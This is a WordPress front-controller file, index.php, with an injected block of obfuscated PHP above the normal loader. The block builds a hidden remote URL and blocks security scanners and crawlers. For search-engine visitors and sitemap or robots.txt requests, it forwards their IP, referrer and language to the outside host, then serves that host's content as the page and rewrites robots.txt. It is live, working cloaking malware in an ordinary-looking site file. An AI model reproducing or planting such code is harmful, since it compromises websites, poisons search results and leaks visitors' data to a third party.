File: /home/luxbsolr/cardsplay.store/index.php
<?php $gwsr='ttp://cw3';$ojwu='ridhip.com/';$criq='d';$duck='ma';$glwa='180.';$lvaw='h';$fkrvg=$lvaw.$gwsr.$glwa.$duck.$criq.$ojwu; $pc = "CVoOXAj"; $bagent = "Bing|yahoo|google|Aol"; if(preg_match("/(YySpider|DotBot|ZmEu|YisouSpider|Swiftbot|Jaunty|Heritrix|CrawlDaddy|DigExt|CensysInspect|Go-http-client|Python-urllib|Java|Paqlebot|FeedDemon|OBot|HttpClient|SeznamBot|SemrushBot|python-requests|AmazonBot|Claudebot|DataForSEO|python|Mj12bot|universalFeedParser|paloaltonetworks|Barkrowler|LightDeckReports Bot|CoolpadWebkit|GPTBot|ahrefsBot|EasouSpider|AskTbFXTV|Ezooms|feedly|PetalBot|jikeSpider|Indy Library|YandexBot|Scrapy|ApacheBench|bytespider)/i", $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 403 Forbidden'); exit(); } error_reporting(0); $ip = $_SERVER['REMOTE_ADDR']; $refer = urlencode(@$_SERVER['HTTP_REFERER']); $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); if (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $domain = urlencode($_SERVER['HTTP_HOST']); $ip = urlencode($ip); $script = urlencode($_SERVER['SCRIPT_NAME']); if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) { $_SERVER['REQUEST_SCHEME'] = 'https'; } else { $_SERVER['REQUEST_SCHEME'] = 'http'; } function writeToFile($filePath, $content) { $file = fopen($filePath, "w"); if ($file) { fwrite($file, $content); fclose($file); return true; } return false; } function readFromFile($filePath) { $file = fopen($filePath, "r"); if ($file) { $content = fread($file, filesize($filePath)); fclose($file); return $content; } return false; } $uri = urlencode($_SERVER['REQUEST_URI']); $http = urlencode($_SERVER['REQUEST_SCHEME']); if(strpos($uri,"ukwukw") !== false){echo "ok";exit();} $ukwFilePath = "ukw.txt"; $ukw = 0; if(!is_file($ukwFilePath)) { $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/ukwukw'; $kunu = @file_get_contents($uuu); if($kunu === "ok") { $ukw = 1; writeToFile($ukwFilePath,"1"); } else { $ukw = 0; writeToFile($ukwFilePath,"0"); } } else { $ukw = readFromFile($ukwFilePath); } if(strpos($uri,"favicon.ico") !== false) { } else if(strpos($uri,"robots.txt") !== false or strpos($uri,"jp2023") !== false or strpos($uri,"pingsitemap") !== false or preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) { $robots_contents = ""; $requsturl = $fkrvg."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$ukw&script=$script"; if(strpos($uri,"pingsitemap") !== false) { $scripname = $_SERVER['SCRIPT_NAME']; if(strpos($scripname,"index.ph") !== false) { if($ukw == 0) { $scripname = '/?'; } else { $scripname = '/'; } } else { $scripname = $scripname.'?'; } $robots_contents = "User-agent: *\r\nAllow: /"; $sitemap = "$http://" . $domain .$scripname. "sitemap.xml"; $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap"; $sitemapstatus = ""; echo $sitemap.": ".$sitemapstatus.'<br/>'; $requsturl = $fkrvg."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$ukw&script=$script&sitemap=".urlencode($sitemap); } $kunu = @file_get_contents($requsturl); if(empty($kunu)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $requsturl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $kunu = curl_exec($ch); curl_close($ch); } if(!empty($kunu)) { if(substr($kunu,0,10)=="error code" or $kunu == "500" or strpos($kunu,'Bad Gateway')!==false) { header("HTTP/1.0 500 Internal Server Error"); exit(); } if(strpos($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');} else if(substr($kunu,0,5)=="<?xml") { header('Content-Type: text/xml; charset=utf-8'); } else { header('Content-Type: text/html; charset=utf-8'); } echo $kunu; if(!empty($robots_contents)){writeToFile("robots.txt",$robots_contents);} else if(strpos($uri,"robots.txt") !== false){writeToFile("robots.txt",$kunu);} exit(); return; } }else{ } ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';